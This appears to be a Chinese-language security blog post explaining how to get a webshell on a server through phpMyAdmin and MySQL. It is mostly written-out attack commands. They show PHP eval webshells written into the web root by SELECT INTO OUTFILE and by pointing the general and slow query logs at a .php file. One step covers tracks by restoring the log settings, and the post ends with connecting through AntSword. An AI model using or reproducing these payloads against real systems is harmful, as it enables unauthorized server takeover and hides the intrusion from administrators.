phpMyAdmin
是一个以PHP为基础,以web方式架构在服务器上的MySQL的数据库管理工具。让管理者可以通过Web接口来管理MySQL数据库。
查看phpmyadmin版本: /phpMyAdmin/README
在高版本中无法写入一句话
mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出
查看该参数值
show global variables like '%secure%';
当secure_file_priv为NULL时,表示限制mysql不允许导入导出。
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,
在[mysqld]
内加入secure_file_priv =""
即可
select into outfile直接写入
利用条件:
• 知道网站绝对路径
• secure_file_priv没有具体值
• 对web目录需要有写权限能够使用单引号(root)
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'
利用全局日志写shell
查看mysql的日志状态,默认是关闭的,因为这个日志的量非常大对资源是一个比较大的开销
SHOW VARIABLES LIKE '%general%'
general_log_file为日志保存的位置
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell
利用步骤
1、查看配置默认是关闭状态
SHOW VARIABLES LIKE '%general%'
2、开启general_log模式
set global general_log = on;
3、修改日志目录为shell地址
set global general_log_file='D:\\phpstudy_pro\\WWW\\shell.php';
4、写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中
select '<?php eval($_POST[cmd]);?>'
5、抹除痕迹
set global general_log_file='C:\\phpStudy\\MySQL\\data\\spe4r.log';
#修改日志目录为原来地址
set global general_log = off;
#关闭general_log模式
写入成功使用蚁剑进行连接
慢查询日志写入webshell
利用步骤
1、查看慢查询日志开启情况
show variables like '%slow_query_log%';
2、开启慢查询日志
set global slow_query_log=on;
3、修改日志文件存储的绝对路径
set global slow_query_log_file='C:\\phpstudy\\WWW\\shell.php'
4、向日志文件中写入shell
select '<?php @eval($_POST[shell]);?>' or sleep(10);
5、使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';
写入成功 使用蚁剑连接
原创 SSP安全研究